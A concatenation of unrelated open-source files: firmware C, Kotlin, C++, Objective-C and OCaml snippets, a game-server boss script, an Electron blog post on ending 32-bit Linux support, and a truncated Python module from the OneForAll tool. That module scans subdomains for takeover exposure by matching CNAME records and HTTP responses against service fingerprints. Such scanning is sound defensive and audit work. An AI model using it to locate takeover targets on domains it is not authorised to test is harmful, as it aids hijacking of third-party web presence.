memcpy(sig->magic, API_SIG_MAGIC, 8);
sig->version = API_SIG_VERSION;
sig->syscall = &syscall;
sig->checksum = 0;
sig->checksum = crc32(0, (unsigned char *)sig,
sizeof(struct api_signature));
debugf("syscall entry: 0x%08x\n", sig->syscall);
}
void platform_set_mr(struct sys_info *si, unsigned long start, unsigned long size,
int flags)
{
int i;
if (!si->mr || !size || (flags == 0))
return;
/* find free slot */
for (i = 0; i < si->mr_no; i++)
if (si->mr[i].flags == 0) {
/* insert new mem region */
si->mr[i].start = start;
si->mr[i].size = size;
si->mr[i].flags = flags;
return;
}
}
| {
"pile_set_name": "Github"
} |
package com.bernaferrari.changedetection.mainnew
import com.bernaferrari.changedetection.addedit.AddEditFragment
import com.bernaferrari.changedetection.localBrowser.LocalBrowserFragment
import com.bernaferrari.changedetection.logs.LogsFragment
import dagger.Module
import dagger.android.ContributesAndroidInjector
@Module
abstract class ChangeDetectionInjectorsModule {
@ContributesAndroidInjector
abstract fun mainFragment(): MainFragment
@ContributesAndroidInjector
abstract fun logsFragment(): LogsFragment
@ContributesAndroidInjector
abstract fun addNewFragment(): AddEditFragment
@ContributesAndroidInjector
abstract fun mainLongPressFragment(): LongPressOptionsDialog
@ContributesAndroidInjector
abstract fun localBrowserFragment(): LocalBrowserFragment
} | {
"pile_set_name": "Github"
} |
#ifndef UTIL_DEBUGPINS_H_
#define UTIL_DEBUGPINS_H_
namespace util {
template <int pin>
struct scoped_debug_pin {
scoped_debug_pin() {
digitalWriteFast(pin, HIGH);
}
~scoped_debug_pin() {
digitalWriteFast(pin, LOW);
}
};
}; // namespace util
//#define ENABLE_DEBUG_PINS
#ifdef ENABLE_DEBUG_PINS
#define DEBUG_PIN_SCOPE(pin) \
util::scoped_debug_pin<pin> debug_pin
#else
#define DEBUG_PIN_SCOPE(pin) \
do {} while (0)
#endif
#endif // UTIL_DEBUGPINS_H_
| {
"pile_set_name": "Github"
} |
// --------------------------------------------------------------------------------
// The MIT License (MIT)
//
// Copyright (c) 2014 Shiny Development
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
// --------------------------------------------------------------------------------
#import <Foundation/Foundation.h>
typedef NS_ENUM(NSInteger, SDStatusBarManagerBluetoothState)
{
SDStatusBarManagerBluetoothHidden = 0,
SDStatusBarManagerBluetoothVisibleDimmed,
SDStatusBarManagerBluetoothVisibleConnected
};
typedef NS_ENUM(NSInteger, SDStatusBarManagerNetworkType)
{
SDStatusBarManagerNetworkTypeWiFi = 0,
SDStatusBarManagerNetworkTypeGPRS,
SDStatusBarManagerNetworkTypeEdge,
SDStatusBarManagerNetworkType3G,
SDStatusBarManagerNetworkType4G,
SDStatusBarManagerNetworkTypeLTE
};
@interface SDStatusBarManager : NSObject
@property (copy, nonatomic) NSString *carrierName;
@property (copy, nonatomic) NSString *timeString;
@property (assign, nonatomic, readonly) BOOL usingOverrides;
@property (assign, nonatomic) SDStatusBarManagerBluetoothState bluetoothState;
@property (assign, nonatomic) SDStatusBarManagerNetworkType networkType;
@property (assign, nonatomic) BOOL batteryDetailEnabled;
- (void)enableOverrides;
- (void)disableOverrides;
+ (SDStatusBarManager *)sharedInstance;
@end
| {
"pile_set_name": "Github"
} |
(*
Copyright © 2011 MLstate
This file is part of Opa.
Opa is free software: you can redistribute it and/or modify it under the
terms of the GNU Affero General Public License, version 3, as published by
the Free Software Foundation.
Opa is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for
more details.
You should have received a copy of the GNU Affero General Public License
along with Opa. If not, see <http://www.gnu.org/licenses/>.
*)
(*
@author François Pessaux
*)
type expansions_memory
val empty_memory : expansions_memory
val incrementally_expand_abbrev:
W_TypingEnv.t -> expansions_memory -> W_Algebra.simple_type ->
(W_Algebra.simple_type * expansions_memory)
val expand_abbrev_n_times:
int -> W_TypingEnv.t -> expansions_memory -> W_Algebra.simple_type ->
(W_Algebra.simple_type * expansions_memory)
(* ************************************************************************** *)
(** {b Descr}: Fully expand a named type untils either it is no more a named
type or it can't be expanded anymore. In other words, follow the sequence
of type abbreviations.
If this function is called on something else than a named type, it simply
returns the type itself.
Note that during expansion, the original type is modified in place, setting
is field [W_Algebra.nst_unwinded] to [Some ...] (and in depth) each time
an abbrev is expanded.
The expansion is just "deep in surface": we follow the cascading
abbreviations but do not expand abbreviations present in the structure of
the type (anyway, since we stop when we get something else than a named
type, this remark may seem obvious, but that's better to say this clearly).
This function is currently used to report errors in order to find fields
suggestions in case of error on a dot-expression. It allows to find a
record type hidden under a type abbreviation, hence seing the structure of
this type, it is possible to see its available fields. Not expanding the
abbreviations would leave the named type as it is, hence not showing
fields, hence not allowing to give close available fields as a hint.
{b Visibility}: Exported outside this module. *)
(* ************************************************************************** *)
val fully_expand_abbrev:
W_TypingEnv.t -> expansions_memory -> W_Algebra.simple_type ->
W_Algebra.simple_type
(* ************************************************************************** *)
(* {b Descr}: Performs a deep occur check, checking if the type variable passed
as argument ([ty_var]) is in fact the same type than the other one ([ty])
passed as argument by following type aliases.
This is very important to prevent unification to create cyclic types in case
of unifying types like ['a] and ['a t] in case where [t] is defined as
[type 'a t = 'a u = 'a v = ... 'a].
In effect, if we don't be careful, seing ['a] and ['a t] unification would
simply establish a link from ['a] to ['a t] hence creating a cycle. This
would result into an exportation error, although in fact, ['a] and ['a t]
are exactly the same type.
This function doesn't modify the structure of type. It unwinds [ty] without
modifying its structure and in particular, without setting the field
[W_Algebra.nst_unwinded] of types.
{b Visibility}: Exported outside this module. *)
(* ************************************************************************** *)
val deep_exact_occur_expand_abbrev:
W_TypingEnv.t -> expansions_memory -> ty_var: W_Algebra.simple_type ->
in_ty: W_Algebra.simple_type -> bool
| {
"pile_set_name": "Github"
} |
/*
* This file is part of the OregonCore Project. See AUTHORS file for Copyright information
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <https://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Boss_Felblood_Kaelthas
SD%Complete: 80
SDComment: Normal and Heroic Support. Issues: Arcane Spheres do not initially follow targets.
SDCategory: Magisters' Terrace
EndScriptData */
#include "ScriptMgr.h"
#include "ScriptedCreature.h"
#include "magisters_terrace.h"
#include "WorldPacket.h"
#define SAY_AGGRO -1585023 //This yell should be done when the room is cleared. For now, set it as a movelineofsight yell.
#define SAY_PHOENIX -1585024
#define SAY_FLAMESTRIKE -1585025
#define SAY_GRAVITY_LAPSE -1585026
#define SAY_TIRED -1585027
#define SAY_RECAST_GRAVITY -1585028
#define SAY_DEATH -1585029
/*** Spells ***/
// Phase 1 spells
#define SPELL_FIREBALL_NORMAL 44189 // Deals 2700-3300 damage at current target
#define SPELL_FIREBALL_HEROIC 46164 // 4950-6050
#define SPELL_PHOENIX 44194 // Summons a phoenix (Doesn't work?)
#define SPELL_PHOENIX_BURN 44197 // A spell Phoenix uses to damage everything around
#define SPELL_REBIRTH_DMG 44196 // DMG if a Phoenix rebirth happen
#define SPELL_FLAMESTRIKE1_NORMAL 44190 // Damage part
#define SPELL_FLAMESTRIKE1_HEROIC 46163 // Heroic damage part
#define SPELL_FLAMESTRIKE2 44191 // Flamestrike indicator before the damage
#define SPELL_FLAMESTRIKE3 44192 // Summons the trigger + animation (projectile)
#define SPELL_SHOCK_BARRIER 46165 // Heroic only; 10k damage shield, followed by Pyroblast
#define SPELL_PYROBLAST 36819 // Heroic only; 45-55k fire damage
// Phase 2 spells
#define SPELL_GRAVITY_LAPSE_INITIAL 44224 // Cast at the beginning of every Gravity Lapse
#define SPELL_GRAVITY_LAPSE_CHANNEL 44251 // Channeled; blue beam animation to every enemy in range
#define SPELL_TELEPORT_CENTER 44218 // Should teleport people to the center. Requires DB entry in spell_target_position.
#define SPELL_GRAVITY_LAPSE_FLY 44227 // Hastens flyspeed and allows flying for 1 minute. For some reason removes 44226.
#define SPELL_GRAVITY_LAPSE_DOT 44226 // Knocks up in the air and applies a 300 DPS DoT.
#define SPELL_ARCANE_SPHERE_PASSIVE 44263 // Passive auras on Arcane Spheres
#define SPELL_POWER_FEEDBACK 44233 // Stuns him, making him take 50% more damage for 10 seconds. Cast after Gravity Lapse
/*** Creatures ***/
#define CREATURE_PHOENIX 24674
#define CREATURE_PHOENIX_EGG 24675
#define CREATURE_ARCANE_SPHERE 24708
/** Locations **/
float KaelLocations[3][2] =
{
{148.744659f, 181.377426f},
{140.823883f, 195.403046f},
{156.574188f, 195.650482f},
};
#define LOCATION_Z -16.727455f
struct boss_felblood_kaelthasAI : public ScriptedAI
{
boss_felblood_kaelthasAI(Creature* c) : ScriptedAI(c)
{
pInstance = (ScriptedInstance*)c->GetInstanceData();
Heroic = c->GetMap()->IsHeroic();
}
ScriptedInstance* pInstance;
uint32 FireballTimer;
uint32 PhoenixTimer;
uint32 FlameStrikeTimer;
uint32 CombatPulseTimer;
//Heroic only
uint32 PyroblastTimer;
uint32 GravityLapseTimer;
uint32 GravityLapsePhase;
// 0 = No Gravity Lapse
// 1 = Casting Gravity Lapse visual
// 2 = Teleported people to self
// 3 = Knocked people up in the air
// 4 = Applied an aura that allows them to fly, channeling visual, relased Arcane Orbs.
bool FirstGravityLapse;
bool Heroic;
bool HasTaunted;
uint8 Phase;
// 0 = Not started
// 1 = Fireball; Summon Phoenix; Flamestrike
// 2 = Gravity Lapses
void Reset()
{
// @todo Timers
FireballTimer = 0;
PhoenixTimer = 10000;
FlameStrikeTimer = 25000;
CombatPulseTimer = 0;
PyroblastTimer = 60000;
GravityLapseTimer = 0;
GravityLapsePhase = 0;
FirstGravityLapse = true;
HasTaunted = false;
Phase = 0;
if (pInstance)
{
pInstance->SetData(DATA_KAELTHAS_EVENT, NOT_STARTED);
pInstance->HandleGameObject(pInstance->GetData64(DATA_KAEL_DOOR), true);
// Open the big encounter door. Close it in Aggro and open it only in JustDied(and here)
// Small door opened after event are expected to be closed by default
}
}
void JustDied(Unit* /*killer*/)
{
DoScriptText(SAY_DEATH, me);
if (!pInstance)
return;
pInstance->HandleGameObject(pInstance->GetData64(DATA_KAEL_DOOR), true);
// Open the encounter door
}
void DamageTaken(Unit* /*done_by*/, uint32& damage)
{
if (damage > me->GetHealth())
RemoveGravityLapse(); // Remove Gravity Lapse so that players fall to ground if they kill him when in air.
}
void EnterCombat(Unit* /*who*/)
{
if (!pInstance)
return;
pInstance->HandleGameObject(pInstance->GetData64(DATA_KAEL_DOOR), false);
//Close the encounter door, open it in JustDied/Reset
}
void MoveInLineOfSight(Unit* who)
{
if (!HasTaunted && me->IsWithinDistInMap(who, 40.0f))
{
DoScriptText(SAY_AGGRO, me);
HasTaunted = true;
}
ScriptedAI::MoveInLineOfSight(who);
}
void SetThreatList(Creature* SummonedUnit)
{
if (!SummonedUnit)
return;
ThreatContainer::StorageType const &threatlist = me->getThreatManager().getThreatList();
ThreatContainer::StorageType::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i != threatlist.end(); ++i)
{
Unit* pUnit = Unit::GetUnit((*me), (*i)->getUnitGuid());
if (pUnit && pUnit->IsAlive())
{
float threat = me->getThreatManager().getThreat(pUnit);
SummonedUnit->AddThreat(pUnit, threat);
}
}
}
void TeleportPlayersToSelf()
{
float x = KaelLocations[0][0];
float y = KaelLocations[0][1];
me->GetMap()->CreatureRelocation(me, x, y, LOCATION_Z, 0.0f);
ThreatContainer::StorageType threatlist = me->getThreatManager().getThreatList();
ThreatContainer::StorageType::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i != threatlist.end(); ++i)
{
Unit* pUnit = Unit::GetUnit((*me), (*i)->getUnitGuid());
if (pUnit && (pUnit->GetTypeId() == TYPEID_PLAYER))
pUnit->CastSpell(pUnit, SPELL_TELEPORT_CENTER, true);
}
DoCast(me, SPELL_TELEPORT_CENTER, true);
}
void CastGravityLapseKnockUp()
{
ThreatContainer::StorageType threatlist = me->getThreatManager().getThreatList();
ThreatContainer::StorageType::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i != threatlist.end(); ++i)
{
Unit* pUnit = Unit::GetUnit((*me), (*i)->getUnitGuid());
if (pUnit && (pUnit->GetTypeId() == TYPEID_PLAYER))
// Knockback into the air
pUnit->CastSpell(pUnit, SPELL_GRAVITY_LAPSE_DOT, true, 0, 0, me->GetGUID());
}
}
void CastGravityLapseFly() // Use Fly Packet hack for now as players can't cast "fly" spells unless in map 530. Has to be done a while after they get knocked into the air...
{
ThreatContainer::StorageType threatlist = me->getThreatManager().getThreatList();
ThreatContainer::StorageType::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i != threatlist.end(); ++i)
{
Unit* pUnit = Unit::GetUnit((*me), (*i)->getUnitGuid());
if (pUnit && (pUnit->GetTypeId() == TYPEID_PLAYER))
{
// Also needs an exception in spell system.
pUnit->CastSpell(pUnit, SPELL_GRAVITY_LAPSE_FLY, true, 0, 0, me->GetGUID());
// Use packet hack
WorldPacket data(12);
data.SetOpcode(SMSG_MOVE_SET_CAN_FLY);
data << pUnit->GetPackGUID();
data << uint32(0);
pUnit->SendMessageToSet(&data, true);
}
}
}
void RemoveGravityLapse()
{
ThreatContainer::StorageType threatlist = me->getThreatManager().getThreatList();
ThreatContainer::StorageType::const_iterator i = threatlist.begin();
for (i = threatlist.begin(); i != threatlist.end(); ++i)
{
Unit* pUnit = Unit::GetUnit((*me), (*i)->getUnitGuid());
if (pUnit && (pUnit->GetTypeId() == TYPEID_PLAYER))
{
pUnit->RemoveAurasDueToSpell(SPELL_GRAVITY_LAPSE_FLY);
pUnit->RemoveAurasDueToSpell(SPELL_GRAVITY_LAPSE_DOT);
WorldPacket data(12);
data.SetOpcode(SMSG_MOVE_UNSET_CAN_FLY);
data << pUnit->GetPackGUID();
data << uint32(0);
pUnit->SendMessageToSet(&data, true);
}
}
}
void UpdateAI(const uint32 diff)
{
//Return since we have no target
if (!UpdateVictim())
return;
switch (Phase)
{
case 0:
{
// *Heroic mode only:
if (Heroic)
{
if (PyroblastTimer <= diff)
{
me->InterruptSpell(CURRENT_CHANNELED_SPELL);
me->InterruptSpell(CURRENT_GENERIC_SPELL);
DoCast(me, SPELL_SHOCK_BARRIER, true);
DoCastVictim( SPELL_PYROBLAST);
PyroblastTimer = 60000;
}
else PyroblastTimer -= diff;
}
if (FireballTimer <= diff)
{
DoCastVictim( Heroic ? SPELL_FIREBALL_HEROIC : SPELL_FIREBALL_NORMAL);
FireballTimer = urand(2000, 6000);
}
else FireballTimer -= diff;
if (PhoenixTimer <= diff)
{
Unit* pTarget = SelectUnit(SELECT_TARGET_RANDOM, 1);
uint8 random = urand(1, 2);
float x = KaelLocations[random][0];
float y = KaelLocations[random][1];
Creature* Phoenix = me->SummonCreature(CREATURE_PHOENIX, x, y, LOCATION_Z, 0, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 60000);
if (Phoenix)
{
Phoenix->RemoveFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE + UNIT_FLAG_NON_ATTACKABLE);
SetThreatList(Phoenix);
Phoenix->AI()->AttackStart(pTarget);
}
DoScriptText(SAY_PHOENIX, me);
PhoenixTimer = 60000;
}
else PhoenixTimer -= diff;
if (FlameStrikeTimer <= diff)
{
if (Unit* pTarget = SelectTarget(SELECT_TARGET_RANDOM, 0, 100, true))
{
me->InterruptSpell(CURRENT_CHANNELED_SPELL);
me->InterruptSpell(CURRENT_GENERIC_SPELL);
DoCast(pTarget, SPELL_FLAMESTRIKE3, true);
DoScriptText(SAY_FLAMESTRIKE, me);
}
FlameStrikeTimer = urand(15000, 25000);
}
else FlameStrikeTimer -= diff;
// Below 50%
if (me->GetMaxHealth() * 0.5f > me->GetHealth())
{
me->ApplySpellImmune(0, IMMUNITY_EFFECT, SPELL_EFFECT_INTERRUPT_CAST, true);
me->StopMoving();
me->GetMotionMaster()->Clear();
me->GetMotionMaster()->MoveIdle();
GravityLapseTimer = 0;
GravityLapsePhase = 0;
Phase = 1;
}
DoMeleeAttackIfReady();
}
break;
case 1:
{
if (GravityLapseTimer <= diff)
{
switch (GravityLapsePhase)
{
case 0:
if (FirstGravityLapse) // Different yells at 50%, and at every following Gravity Lapse
{
DoScriptText(SAY_GRAVITY_LAPSE, me);
FirstGravityLapse = false;
if (pInstance)
{
pInstance->HandleGameObject(pInstance->GetData64(DATA_KAEL_STATUE_LEFT), true);
pInstance->HandleGameObject(pInstance->GetData64(DATA_KAEL_STATUE_RIGHT), true);
}
}
else
DoScriptText(SAY_RECAST_GRAVITY, me);
DoCast(me, SPELL_GRAVITY_LAPSE_INITIAL);
GravityLapseTimer = 2000 + diff;// Don't interrupt the visual spell
GravityLapsePhase = 1;
break;
case 1:
TeleportPlayersToSelf();
GravityLapseTimer = 1000;
GravityLapsePhase = 2;
break;
case 2:
CastGravityLapseKnockUp();
GravityLapseTimer = 1000;
GravityLapsePhase = 3;
break;
case 3:
CastGravityLapseFly();
GravityLapseTimer = 30000;
GravityLapsePhase = 4;
for (uint8 i = 0; i < 3; ++i)
{
Unit* pTarget = NULL;
pTarget = SelectUnit(SELECT_TARGET_RANDOM, 0);
Creature* Orb = DoSpawnCreature(CREATURE_ARCANE_SPHERE, 5, 5, 0, 0, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 30000);
if (Orb && pTarget)
{
Orb->SetSpeed(MOVE_RUN, 0.5f);
Orb->AddThreat(pTarget, 1000000.0f);
Orb->AI()->AttackStart(pTarget);
}
}
DoCast(me, SPELL_GRAVITY_LAPSE_CHANNEL);
break;
case 4:
me->InterruptNonMeleeSpells(false);
DoScriptText(SAY_TIRED, me);
DoCast(me, SPELL_POWER_FEEDBACK);
RemoveGravityLapse();
GravityLapseTimer = 10000;
GravityLapsePhase = 0;
break;
}
}
else GravityLapseTimer -= diff;
}
break;
}
}
};
struct mob_felkael_flamestrikeAI : public ScriptedAI
{
mob_felkael_flamestrikeAI(Creature* c) : ScriptedAI(c)
{
Heroic = c->GetMap()->IsHeroic();
}
uint32 FlameStrikeTimer;
bool Heroic;
void Reset()
{
FlameStrikeTimer = 5000;
me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE);
me->SetFaction(14);
DoCast(me, SPELL_FLAMESTRIKE2, true);
}
void EnterCombat(Unit* /*who*/) {}
void MoveInLineOfSight(Unit* /*who*/) {}
void UpdateAI(const uint32 diff)
{
if (FlameStrikeTimer <= diff)
{
DoCast(me, Heroic ? SPELL_FLAMESTRIKE1_HEROIC : SPELL_FLAMESTRIKE1_NORMAL, true);
me->Kill(me);
}
else FlameStrikeTimer -= diff;
}
};
struct mob_felkael_phoenixAI : public ScriptedAI
{
mob_felkael_phoenixAI(Creature* c) : ScriptedAI(c)
{
pInstance = (ScriptedInstance*)c->GetInstanceData();
}
ScriptedInstance* pInstance;
uint32 BurnTimer;
uint32 Death_Timer;
bool Rebirth;
bool FakeDeath;
void Reset()
{
me->RemoveFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE + UNIT_FLAG_NON_ATTACKABLE);
me->SetLevitate(true);
DoCast(me, SPELL_PHOENIX_BURN, true);
BurnTimer = 2000;
Death_Timer = 3000;
Rebirth = false;
FakeDeath = false;
}
void EnterCombat(Unit* /*who*/) {}
void DamageTaken(Unit* /*pKiller*/, uint32& damage)
{
if (damage < me->GetHealth())
return;
//Prevent glitch if in fake death
if (FakeDeath)
{
damage = 0;
return;
}
//Don't really die in all phases of Kael'Thas
if (pInstance && pInstance->GetData(DATA_KAELTHAS_EVENT) == 0)
{
//prevent death
damage = 0;
FakeDeath = true;
me->InterruptNonMeleeSpells(false);
me->SetHealth(0);
me->StopMoving();
me->ClearComboPointHolders();
me->RemoveAllAurasOnDeath();
me->ModifyAuraState(AURA_STATE_HEALTHLESS_20_PERCENT, false);
me->ModifyAuraState(AURA_STATE_HEALTHLESS_35_PERCENT, false);
me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE);
me->ClearAllReactives();
me->SetUInt64Value(UNIT_FIELD_TARGET, 0);
me->GetMotionMaster()->Clear();
me->GetMotionMaster()->MoveIdle();
me->SetStandState(UNIT_STAND_STATE_DEAD);
}
}
void JustDied(Unit* /*slayer*/)
{
me->SummonCreature(CREATURE_PHOENIX_EGG, 0.0f, 0.0f, 0.0f, 0.0f, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 45000);
}
void UpdateAI(const uint32 diff)
{
//If we are fake death, we cast revbirth and after that we kill the phoenix to spawn the egg.
if (FakeDeath)
{
if (!Rebirth)
{
DoCast(me, SPELL_REBIRTH_DMG);
Rebirth = true;
}
if (Rebirth)
{
if (Death_Timer <= diff)
{
me->SummonCreature(CREATURE_PHOENIX_EGG, 0.0f, 0.0f, 0.0f, 0.0f, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 45000);
me->DisappearAndDie();
Rebirth = false;
}
else Death_Timer -= diff;
}
}
if (!UpdateVictim())
return;
if (BurnTimer <= diff)
{
//spell Burn should possible do this, but it doesn't, so do this for now.
uint16 dmg = urand(1650, 2050);
me->DealDamage(me, dmg, 0, DOT, SPELL_SCHOOL_MASK_FIRE, NULL, false);
BurnTimer += 2000;
}
BurnTimer -= diff;
DoMeleeAttackIfReady();
}
};
struct mob_felkael_phoenix_eggAI : public ScriptedAI
{
mob_felkael_phoenix_eggAI(Creature* c) : ScriptedAI(c) {}
uint32 HatchTimer;
void Reset()
{
HatchTimer = 10000;
}
void EnterCombat(Unit* /*who*/) {}
void MoveInLineOfSight(Unit* /*who*/) {}
void UpdateAI(const uint32 diff)
{
if (HatchTimer <= diff)
{
me->SummonCreature(CREATURE_PHOENIX, 0.0f, 0.0f, 0.0f, 0.0f, TEMPSUMMON_TIMED_OR_CORPSE_DESPAWN, 60000);
me->Kill(me);
}
else HatchTimer -= diff;
}
};
struct mob_arcane_sphereAI : public ScriptedAI
{
mob_arcane_sphereAI(Creature* c) : ScriptedAI(c)
{
Reset();
}
uint32 DespawnTimer;
uint32 ChangeTargetTimer;
void Reset()
{
DespawnTimer = 30000;
ChangeTargetTimer = urand(6000, 12000);
me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE);
me->SetLevitate(true);
me->SetFaction(14);
DoCast(me, SPELL_ARCANE_SPHERE_PASSIVE, true);
}
void EnterCombat(Unit* /*who*/) {}
void UpdateAI(const uint32 diff)
{
if (DespawnTimer <= diff)
me->Kill(me);
else
DespawnTimer -= diff;
//Return since we have no target
if (!UpdateVictim())
return;
if (ChangeTargetTimer <= diff)
{
if (Unit* pTarget = SelectTarget(SELECT_TARGET_RANDOM, 0, 100, true))
{
me->AddThreat(pTarget, 1.0f);
me->TauntApply(pTarget);
AttackStart(pTarget);
}
ChangeTargetTimer = urand(5000, 15000);
}
else ChangeTargetTimer -= diff;
}
};
CreatureAI* GetAI_boss_felblood_kaelthas(Creature* c)
{
return GetInstanceAI<boss_felblood_kaelthasAI>(c);
}
CreatureAI* GetAI_mob_arcane_sphere(Creature* c)
{
return new mob_arcane_sphereAI(c);
}
CreatureAI* GetAI_mob_felkael_phoenix(Creature* c)
{
return GetInstanceAI<mob_felkael_phoenixAI>(c);
}
CreatureAI* GetAI_mob_felkael_phoenix_egg(Creature* c)
{
return new mob_felkael_phoenix_eggAI(c);
}
CreatureAI* GetAI_mob_felkael_flamestrike(Creature* c)
{
return new mob_felkael_flamestrikeAI(c);
}
void AddSC_boss_felblood_kaelthas()
{
Script* newscript;
newscript = new Script;
newscript->Name = "boss_felblood_kaelthas";
newscript->GetAI = &GetAI_boss_felblood_kaelthas;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "mob_arcane_sphere";
newscript->GetAI = &GetAI_mob_arcane_sphere;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "mob_felkael_phoenix";
newscript->GetAI = &GetAI_mob_felkael_phoenix;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "mob_felkael_phoenix_egg";
newscript->GetAI = &GetAI_mob_felkael_phoenix_egg;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "mob_felkael_flamestrike";
newscript->GetAI = &GetAI_mob_felkael_flamestrike;
newscript->RegisterSelf();
}
| {
"pile_set_name": "Github"
} |
---
title: Discontinuing support for 32-bit Linux
author: felixrieseberg
date: '2019-03-04'
---
The Electron team will discontinue support for 32-bit Linux (ia32 / i386) starting with Electron v4.0. The last version of Electron that supports 32-bit based installations of Linux is Electron v3.1, which will receive support releases until Electron v6 is released. Support for 64-bit based Linux and `armv7l` will continue unchanged.
---
## What exactly is Electron no longer supporting?
You may have seen the description "64-bit" and "32-bit" as stickers on your computer or as options for downloading software. The term is used to describe a specific computer architecture. Most computers made in the 1990s and early 2000s were made with CPUs that were based on the 32-bit architecture, while most computers made later were based on the newer and more powerful 64-bit architecture. The Nintendo 64 (get it?) and the PlayStation 2 were the first widely available consumer devices with the new architecture, computers sold after 2010 contained almost exclusively 64-bit processors. As a result, support has been shrinking: Google stopped releasing Chrome for 32-bit Linux in March 2016, Canonical stopped providing 32-bit desktop images in 2017 and dropped support for 32-bit altogether with Ubuntu 18.10. Arch Linux, elementary OS, and other prominent Linux distributions have already dropped support for the aging processor architecture.
Until now, Electron has provided and supported builds that run on the older 32-bit architecture. From release v4.0 onwards, the Electron team will no longer be able to provide binaries or support for 32-bit Linux.
Electron has always been a vibrant open source project and we continue to support and encourage developers interested in building Electron for exotic architectures.
## What does that mean for developers?
If you are not currently providing 32-bit distributions of your app for Linux, no action is required.
Projects which ship 32-bit Linux Electron applications will need to decide how to proceed. 32-bit Linux will be supported on Electron 3 [until](https://electronjs.org/docs/tutorial/support#supported-versions) the release of Electron 6, which gives some time to make decisions and plans.
## What does that mean for users?
If you are a Linux user and not sure whether or not you're running a 64-bit based system, you are likely running on a 64-bit based architecture. To make sure, you can run the `lscpu` or `uname -m` commands in your terminal. Either one will print your current architecture.
If you are using Linux on a 32-bit processor, you have likely already encountered difficulties finding recently released software for your operating system. The Electron team joins other prominent members in the Linux community by recommending that you upgrade to a 64-bit based architecture.
| {
"pile_set_name": "Github"
} |
#!/usr/bin/python3
# coding=utf-8
"""
OneForAll subdomain takeover module
:copyright: Copyright (c) 2019, Jing Ling. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import time
import json
from threading import Thread
from queue import Queue
import fire
from common.tablib.tablib import Dataset
from tqdm import tqdm
from config.log import logger
from config import settings
from common import utils
from common.module import Module
def get_fingerprint():
path = settings.data_storage_dir.joinpath('fingerprints.json')
with open(path, encoding='utf-8', errors='ignore') as file:
fingerprints = json.load(file)
return fingerprints
def get_cname(subdomain):
resolver = utils.dns_resolver()
try:
answers = resolver.query(subdomain, 'CNAME')
except Exception as e:
logger.log('TRACE', e.args)
return None
for answer in answers:
return answer.to_text() # 一个子域只有一个CNAME记录
class Takeover(Module):
"""
OneForAll subdomain takeover module
Example:
python3 takeover.py --target www.example.com --format csv run
python3 takeover.py --targets ./subdomains.txt --thread 10 run
Note:
--format rst/csv/tsv/json/yaml/html/jira/xls/xlsx/dbf/latex/ods (result format)
--path Result directory (default directory is ./results)
:param str target: One domain (target or targets must be provided)
:param str targets: File path of one domain per line
:param int thread: threads number (default 20)
:param str format: Result format (default csv)
:param str path: Result directory (default None)
"""
def __init__(self, target=None, targets=None, thread=20, path=None, format='csv'):
Module.__init__(self)
self.subdomains = set()
self.module = 'Check'
self.source = 'Takeover'
self.target = target
self.targets = targets
self.thread = thread
self.path = path
self.format = format
self.fingerprints = None
self.subdomainq = Queue()
self.cnames = list()
self.results = Dataset()
def save(self):
logger.log('DEBUG', 'Saving results')
if self.format == 'txt':
data = str(self.results)
else:
data = self.results.export(self.format)
utils.save_data(self.path, data)
def compare(self, subdomain, cname, responses):
domain_resp = self.get('http://' + subdomain, check=False, ignore=True)
cname_resp = self.get('http://' + cname, check=False, ignore=True)
if domain_resp is None or cname_resp is None:
return
for resp in responses:
if resp in domain_resp.text and resp in cname_resp.text:
logger.log('ALERT', f'{subdomain} takeover threat found')
self.results.append([subdomain, cname])
break
def worker(self, subdomain):
cname = get_cname(subdomain)
if cname is None:
return
main_domain = utils.get_main_domain(cname)
for fingerprint in self.fingerprints:
cnames = fingerprint.get('cname')
if main_domain not in cnames:
continue
responses = fingerprint.get('response')
self.compare(subdomain, cname, responses)
def check(self):
